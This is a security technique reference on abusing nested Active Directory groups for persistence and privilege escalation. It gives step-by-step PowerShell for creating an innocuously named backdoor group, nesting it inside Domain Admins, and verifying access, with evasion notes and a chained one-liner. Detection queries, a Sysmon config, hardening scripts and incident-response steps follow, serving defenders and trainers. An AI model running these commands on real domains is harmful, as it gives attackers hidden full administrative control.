| Attribute | Details |
|---|---|
| Technique ID | PERSIST-ACCT-003 |
| Technique Name | Group Nesting Abuse |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Persistence (TA0003), Privilege Escalation (TA0004) |
| Platforms | Windows Active Directory (All versions) |
| Severity | HIGH |
| CVE | N/A (Configuration, not a vulnerability) |
| Technique Status | ACTIVE – Verified working on Server 2008 R2 through 2025 |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2008 R2 – 2025 (all versions support nested groups equally) |
| Patched In | Not patched – Nested groups are a core Active Directory feature. Mitigation requires access control auditing and group hierarchy monitoring. |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Group Nesting Abuse is a simple yet highly effective persistence and privilege escalation technique that exploits the hierarchical nature of Active Directory groups. In Active Directory, groups can contain other groups as members (nested groups). When a group is nested inside a privileged group (e.g., Domain Admins), all members of that nested group automatically inherit the privileges of the parent group—even if they are not aware of the nesting. An attacker can create a low-profile group, add themselves or their backdoor account as a member, then nest this group inside Domain Admins. The attacker’s account now has domain-wide administrative privileges without appearing as a direct member of Domain Admins. This attack is highly stealthy because:
Get-ADGroupMember) only show immediate members, not nested groups’ members.Attack Surface: Direct modification of the member attribute on privileged groups (Domain Admins, Enterprise Admins, Schema Admins, etc.). Requires write access via DACL (GenericWrite, GenericAll, etc.) or membership in Account Operators group.
Business Impact: Undetectable administrative access via hidden group hierarchies. An attacker maintains a backdoor that grants full domain admin rights, yet appears as a “legitimate” group membership change. Data exfiltration, ransomware deployment, and lateral movement are enabled without triggering typical privilege escalation alerts.
Technical Context: This is one of the easiest persistence techniques to execute (single PowerShell command) but one of the hardest to detect without specific enumeration tools (BloodHound, custom PowerShell recursion). Exploitation requires only write access to a privileged group’s DACL—a common misconfiguration in AD environments. No special tools, exploits, or credentials needed.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.2.1, 5.2.3 | Monitor privileged group membership changes; audit nested group memberships quarterly. | | DISA STIG | WN19-AU-000164 | Audit changes to privileged groups (Event ID 4756 - Group member added). | | CISA SCuBA | AC-2(h) | Least Privilege – Restrict group memberships to only necessary users; eliminate nested groups in privileged groups. | | NIST 800-53 | AC-3, AC-5, AU-2 | Access Control, Separation of Duties, Audit Events (group membership modifications). | | GDPR | Art. 32 | Security of Processing – Maintain visibility and control over access privileges. | | DORA | Art. 9 | Protection and Prevention – Continuous monitoring of administrative access. | | NIS2 | Art. 21(1)(c) | Cyber Risk Management – Access control and monitoring of privileged groups. | | ISO 27001 | A.9.2.3, A.9.2.5 | Management of Privileged Access; regular review and approval of group memberships. | | ISO 27005 | Risk Scenario | “Privilege Escalation via Group Nesting” – Attack on authorization controls. |
net group, dsmod)Supported Versions:
# This shows ONLY direct members, not nested groups' members
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, ObjectClass, SamAccountName
# Output will show:
# - Direct user accounts
# - Direct groups (nested groups)
# But NOT the members of those nested groups
What to Look For:
# This shows ALL members, resolving nested groups
$PrivilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")
foreach ($Group in $PrivilegedGroups) {
Write-Host "=== $Group ===" -ForegroundColor Cyan
# Recursive enumeration (slow but comprehensive)
Get-ADGroupMember -Identity $Group -Recursive |
Where-Object { $_.ObjectClass -eq "user" } |
Select-Object Name, SamAccountName, DistinguishedName |
Format-Table
}
What to Look For:
# Find nested groups INSIDE privileged groups
$TargetGroup = "Domain Admins"
Get-ADGroupMember -Identity $TargetGroup |
Where-Object { $_.ObjectClass -eq "group" } |
Select-Object Name, DistinguishedName, SamAccountName |
Format-Table
# Output:
# Name DistinguishedName SamAccountName
# ---- ----------------- --------
# BackupAdmins CN=BackupAdmins,OU=Groups,DC=yourdomain... BackupAdmins
# ITSupport CN=ITSupport,OU=Groups,DC=yourdomain... ITSupport
What to Look For:
# For each nested group found above, list its members
$NestedGroups = Get-ADGroupMember -Identity "Domain Admins" |
Where-Object { $_.ObjectClass -eq "group" }
foreach ($Group in $NestedGroups) {
Write-Host "Members of $($Group.Name):" -ForegroundColor Yellow
Get-ADGroupMember -Identity $Group.Name |
Select-Object Name, SamAccountName |
Format-Table
}
What to Look For:
# BloodHound will automatically visualize nested group paths to Domain Admins
# Query: "Domain Admins Nested Groups"
# Cypher Query in Neo4j:
# MATCH p=(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})-[r:Contains*]->(member:User)
# RETURN p
# This shows all users with paths to DA through nested groups
Supported Versions: Server 2008 R2 – 2025
Objective: Create a new group that will serve as the persistence mechanism; use a generic name to blend in.
Command:
Import-Module ActiveDirectory
# Create the backdoor group
$GroupName = "BackupAdmins" # Generic name
$GroupDesc = "Backup and disaster recovery administrators" # Innocent description
New-ADGroup -Name $GroupName `
-SamAccountName $GroupName `
-GroupScope DomainLocal ` # Or Global, depending on domain structure
-GroupCategory Security `
-Description $GroupDesc `
-Path "CN=Groups,DC=yourdomain,DC=local"
Write-Host "✓ Backdoor group created: $GroupName"
Expected Output:
(No output on success; group is created silently)
What This Means:
OpSec & Evasion:
Troubleshooting:
New-ADGroup : The server is unwilling to perform
New-ADGroup : Invalid parameter
Get-ADOrganizationalUnit -Filter *References & Proofs:
Objective: Add your persistence account to the newly created group.
Command:
# Add a compromised user account (or create a new one)
$BackdoorUser = "svc_backup" # Service account or low-privilege account you control
$BackdoorGroup = "BackupAdmins"
Add-ADGroupMember -Identity $BackdoorGroup -Members $BackdoorUser
Write-Host "✓ $BackdoorUser added to $BackdoorGroup"
# Verify membership
Get-ADGroupMember -Identity $BackdoorGroup
Expected Output:
Name SamAccountName ObjectClass ObjectGUID
---- -------------- ----------- ----------
svc_backup svc_backup user <GUID>
What This Means:
OpSec & Evasion:
Troubleshooting:
Add-ADGroupMember : Cannot find an object with identity
Get-ADUser -Identity $BackdoorUser and Get-ADGroup -Identity $BackdoorGroupReferences & Proofs:
Objective: Add the BackupAdmins group to Domain Admins, granting all members of BackupAdmins domain admin rights.
Command:
$BackdoorGroup = "BackupAdmins"
$PrivilegedGroup = "Domain Admins"
# Add backdoor group to Domain Admins
Add-ADGroupMember -Identity $PrivilegedGroup -Members $BackdoorGroup
Write-Host "✓ $BackdoorGroup nested inside $PrivilegedGroup"
# Verify nesting
Get-ADGroupMember -Identity $PrivilegedGroup | Where-Object { $_.ObjectClass -eq "group" }
Expected Output:
Name SamAccountName ObjectClass
---- -------------- ----------
BackupAdmins BackupAdmins group
What This Means:
OpSec & Evasion:
Troubleshooting:
Add-ADGroupMember : The specified group is not a member of the group
References & Proofs:
Objective: Confirm that the backdoor account can now perform domain admin operations.
Command:
# Log in as svc_backup and verify admin access
$BackdoorUser = "svc_backup"
# Option A: Check token groups (what groups is svc_backup ACTUALLY in, including nested)
Get-ADUser -Identity $BackdoorUser -Properties TokenGroups |
Select-Object -ExpandProperty TokenGroups |
Get-ADGroup | Select-Object Name
# Expected output includes: Domain Admins (via BackupAdmins)
# Option B: Test actual admin capability
# Try to perform a domain admin operation (requires actually being logged in as svc_backup)
# For example: Add a user to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "test_user"
Expected Output (Option A):
Name
----
Domain Admins (via BackupAdmins)
Backup Operators
Users
(other groups)
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-ADUser : Cannot find an object with identity
Get-ADUser -Filter "SamAccountName -eq '$BackdoorUser'"References & Proofs:
Supported Versions: Server 2008 R2 – 2025
Objective: If an organization has delegated group management rights to lower-tier admins, exploit this to gain privilege escalation.
# Assume "ITSupport" group has delegated control to manage membership of "Tier2Support" group
# And "Tier2Support" happens to be nested in Domain Admins
# As ITSupport member, you can add yourself to Tier2Support
Add-ADGroupMember -Identity "Tier2Support" -Members $MyAccount
# Now you're in Tier2Support → Domain Admins (via nesting)
# Instant privilege escalation without triggering domain admin alerts
Objective: Identify existing group nesting opportunities that can be exploited.
# Run BloodHound to map the AD environment
# Within BloodHound GUI, run this query to find groups leading to Domain Admins:
# Cypher Query:
# MATCH p=shortestPath((g:Group)-[r:MemberOf|Contains*1..]->(DA:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'}))
# WHERE g.name <> 'DOMAIN ADMINS@DOMAIN.LOCAL'
# RETURN p
# This reveals all groups (and their members) that have a path to Domain Admins
# Exploit: Add yourself to any of these groups to gain DA privileges
Alternative: Use the exploitation commands in Method 1-3 directly as live simulation.
Built-in on: Windows Server 2008 R2+
Available on: Windows client via RSAT (Remote Server Administration Tools)
Key Commands:
# Create group
New-ADGroup -Name GroupName -GroupScope DomainLocal -Path "CN=Groups,DC=domain,DC=local"
# Add member to group
Add-ADGroupMember -Identity GroupName -Members UserName
# List direct members
Get-ADGroupMember -Identity GroupName
# List all members (recursive)
Get-ADGroupMember -Identity GroupName -Recursive
# Remove member
Remove-ADGroupMember -Identity GroupName -Members UserName -Confirm:$false
# Get group details
Get-ADGroup -Identity GroupName -Properties *
URL: BloodHound GitHub
Purpose: Visualize group nesting paths and identify privilege escalation routes
Cypher Queries (Neo4j Console):
# Find all nested groups in Domain Admins
MATCH (g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})-[r:Contains|MemberOf*]->(member:Group)
RETURN member.name
# Find users with path to Domain Admins via nested groups
MATCH p=shortestPath((u:User)-[r:MemberOf*1..]->(DA:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'}))
RETURN u.name, LENGTH(p) as PathLength
ORDER BY PathLength
Rule Configuration:
wineventlogWinEventLog:SecurityEventCode, TargetUserName, MemberNameSPL Query:
index=wineventlog sourcetype="WinEventLog:Security" EventCode=4756
(TargetUserName="Domain Admins" OR TargetUserName="Enterprise Admins" OR TargetUserName="Schema Admins")
| stats count by MemberName, TargetUserName, Computer, _time
| where count > 0
| convert ctime(_time)
| sort _time desc
What This Detects:
Manual Configuration:
Alert when number of events is greater than 0Rule Configuration:
SecurityEventEventID, TargetUserName, MemberNameKQL Query:
SecurityEvent
| where EventID == 4756
| where TargetUserName in ("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
| extend MemberObject = tostring(MemberName)
| extend IsGroup = MemberObject matches regex @"CN=.*,.*,.*" // Groups have DN format
| where IsGroup == true or MemberObject contains "$" // Groups or computer accounts
| project TimeGenerated, Computer, TargetUserName, MemberName, EventID, Account
| sort by TimeGenerated desc
What This Detects:
Manual Configuration:
Nested Groups Added to Privileged GroupsHigh5 minutes1 hourTargetUserName in ("Domain Admins", "Enterprise Admins", "Schema Admins")Manual Configuration (Group Policy):
gpmc.msc)gpupdate /force on all DCsWhat to Monitor:
Sysmon is less useful for AD group modifications (pure LDAP operations). However, if an attacker uses PowerShell to manage groups, Sysmon can detect this:
Sysmon Config (Detect Group Management Commands):
<Sysmon schemaversion="4.70">
<EventFiltering>
<!-- Detect PowerShell group management commands -->
<ProcessCreate onmatch="include">
<ParentImage condition="image">powershell.exe</ParentImage>
<CommandLine condition="contains any">
Add-ADGroupMember;
New-ADGroup;
Remove-ADGroupMember;
Get-ADGroupMember;
-Identity "Domain Admins";
-Identity "Enterprise Admins"
</CommandLine>
</ProcessCreate>
<!-- Detect command-line group management -->
<ProcessCreate onmatch="include">
<Image condition="image">cmd.exe</Image>
<CommandLine condition="contains any">
net group "Domain Admins";
dsmod group;
ldifde
</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Note: Group Nesting is on-premises only; Defender for Cloud primarily monitors Azure/cloud resources. Use Sentinel or on-premises event log monitoring instead.
Note: On-premises AD group changes are not logged in Purview Unified Audit Log (M365-only). Use Windows Security Event Log and Sentinel instead.
Applies To Versions: All (Server 2008 R2 – 2025)
Manual Steps:
# Audit: Find ALL nested groups in privileged groups
$PrivilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
foreach ($PrivGroup in $PrivilegedGroups) {
Write-Host "=== Nested Groups in $PrivGroup ===" -ForegroundColor Cyan
$NestedGroups = Get-ADGroupMember -Identity $PrivGroup |
Where-Object { $_.ObjectClass -eq "group" }
if ($NestedGroups.Count -eq 0) {
Write-Host "✓ No nested groups found" -ForegroundColor Green
} else {
Write-Warning "⚠ FOUND NESTED GROUPS:"
$NestedGroups | Select-Object Name, SamAccountName, DistinguishedName | Format-Table
# Remediation: Remove nested groups
foreach ($Group in $NestedGroups) {
Write-Host "Removing $($Group.Name) from $PrivGroup..."
Remove-ADGroupMember -Identity $PrivGroup -Members $Group.SamAccountName -Confirm:$false
}
}
}
Write-Host "✓ All nested groups removed from privileged groups"
Verification:
# Verify no groups are members of privileged groups
Get-ADGroupMember -Identity "Domain Admins" -Recursive |
Where-Object { $_.ObjectClass -eq "group" } |
Measure-Object
# Should return Count: 0
Applies To Versions: All
Manual Steps (Monthly Baseline):
# Export all recursive members of privileged groups
$PrivilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")
$AllMembers = @()
foreach ($Group in $PrivilegedGroups) {
Get-ADGroupMember -Identity $Group -Recursive -ObjectClass user |
ForEach-Object {
$AllMembers += [PSCustomObject]@{
PrivilegedGroup = $Group
UserName = $_.SamAccountName
Name = $_.Name
DistinguishedName = $_.DistinguishedName
LastModified = (Get-Date)
}
}
}
# Export baseline
$AllMembers | Export-Csv -Path "C:\Baseline_RecursiveGroupMembers_$(Get-Date -Format 'yyyyMM').csv" -NoTypeInformation
Write-Host "✓ Recursive group membership baseline exported"
Monthly Comparison:
# Compare to baseline
$CurrentMembers = @()
$PrivilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")
foreach ($Group in $PrivilegedGroups) {
Get-ADGroupMember -Identity $Group -Recursive -ObjectClass user |
ForEach-Object { $CurrentMembers += $_.SamAccountName }
}
$Baseline = Import-Csv "C:\Baseline_RecursiveGroupMembers_202501.csv"
# Find new members
$NewMembers = $CurrentMembers | Where-Object { $_ -notin $Baseline.UserName }
if ($NewMembers) {
Write-Warning "⚠ NEW MEMBERS ADDED TO PRIVILEGED GROUPS!"
$NewMembers | ForEach-Object {
Write-Warning " - $_"
# Alert SOC
}
}
Applies To Versions: All (Server 2008 R2 – 2025)
Manual Steps (Group Policy):
gpmc.msc)gpupdate /force on all DCsVerification:
# Check if auditing is enabled on all DCs
$DCs = (Get-ADDomain).ReplicaDirectoryServers
foreach ($DC in $DCs) {
Write-Host "Checking $DC..."
Invoke-Command -ComputerName $DC -ScriptBlock {
auditpol /get /subcategory:"Security Group Management"
}
}
# Should show: "Success and Failure" enabled
Applies To Versions: All
Manual Steps:
# Review who is in Account Operators
Get-ADGroupMember -Identity "Account Operators"
# Remove unauthorized members
# Account Operators should only include authorized tier-2 admins
Remove-ADGroupMember -Identity "Account Operators" -Members "suspicious_user" -Confirm:$false
Write-Host "✓ Account Operators membership restricted"
Manual Steps (Azure PIM for Hybrid):
TargetUserName = Privileged group (Domain Admins, etc.)MemberName contains group object (CN= format or $ suffix)Account field shows unexpected admin accountGet-ADGroupMember -Recursive enumerationDisk (Event Logs):
C:\Windows\System32\winevt\Logs\Security.evtx – Event ID 4756 (group modified)Memory:
AD Database:
C:\Windows\NTDS\ntds.dit – Group membership records# Identify the backdoor account
$BackdoorAccount = "svc_backup" # Example
# Disable the account immediately
Disable-ADAccount -Identity $BackdoorAccount
Write-Host "✓ $BackdoorAccount disabled"
# Remove from all groups
Get-ADUser -Identity $BackdoorAccount -Properties MemberOf |
Select-Object -ExpandProperty MemberOf |
ForEach-Object {
Remove-ADGroupMember -Identity $_ -Members $BackdoorAccount -Confirm:$false
Write-Host "✓ Removed from $_"
}
# Force password reset (if you still have control)
$TempPassword = ([char[]]([char]33..[char]126) | Sort-Object {Get-Random})[0..31] -join ''
Set-ADAccountPassword -Identity $BackdoorAccount -Reset -NewPassword (ConvertTo-SecureString $TempPassword -AsPlainText -Force)
Write-Host "✓ Password reset for $BackdoorAccount"
# Identify the backdoor group
$BackdoorGroup = "BackupAdmins"
# Remove from privileged groups
Remove-ADGroupMember -Identity "Domain Admins" -Members $BackdoorGroup -Confirm:$false
# Delete the group
Remove-ADGroup -Identity $BackdoorGroup -Confirm:$false
Write-Host "✓ Backdoor group $BackdoorGroup removed"
# Export all group changes from DC event log (last 24 hours)
$PDC = (Get-ADDomain).PDCEmulator
wevtutil epl security "C:\Evidence\Security_Events.evtx" /remote:$PDC `
/query:"Event[System[(EventID=4756) and TimeCreated[timediff(@timestamp) <= 86400000]]]"
# Export all group memberships as baseline
Get-ADGroup -Filter * |
ForEach-Object {
$GroupName = $_.Name
Get-ADGroupMember -Identity $_ -Recursive |
Select-Object @{Name="GroupName";Expression={$GroupName}},
Name, SamAccountName, DistinguishedName
} |
Export-Csv -Path "C:\Evidence\All_Group_Memberships.csv"
Write-Host "✓ Evidence collected to C:\Evidence\"
# Review all changes made by the backdoor account
Get-ADUser -Identity $BackdoorAccount -Properties logonTimestamp, pwdLastSet, Created
# Review: When created, when last logged in, when password last changed
# Review all privilege escalation paths via BloodHound
# Re-run BloodHound on the environment to identify other potential backdoors
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial compromised account |
| 2 | Privilege Escalation | [PE-VALID-008] SCCM Client Push Account Abuse | Escalate from compromised user to higher privilege |
| 3 | Persistence (Current) | [PERSIST-ACCT-003] | Create backdoor group and nest inside Domain Admins for stealthy persistence |
| 4 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Use backdoor account to move laterally across domain |
| 5 | Impact | [CA-DUMP-002] DCSync | Dump all domain hashes; complete domain compromise |
# Create group, add user, nest in Domain Admins (one script)
New-ADGroup -Name "BackupOps" -GroupScope DomainLocal -Path "CN=Groups,DC=domain,DC=local";
Add-ADGroupMember -Identity "BackupOps" -Members "svc_backup";
Add-ADGroupMember -Identity "Domain Admins" -Members "BackupOps"
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Where-Object { $_.SamAccountName -eq "svc_backup" }
Get-ADGroupMember -Identity "Domain Admins" | Where-Object { $_.ObjectClass -eq "group" }
Remove-ADGroupMember -Identity "Domain Admins" -Members "BackupOps" -Confirm:$false
Remove-ADGroup -Identity "BackupOps" -Confirm:$false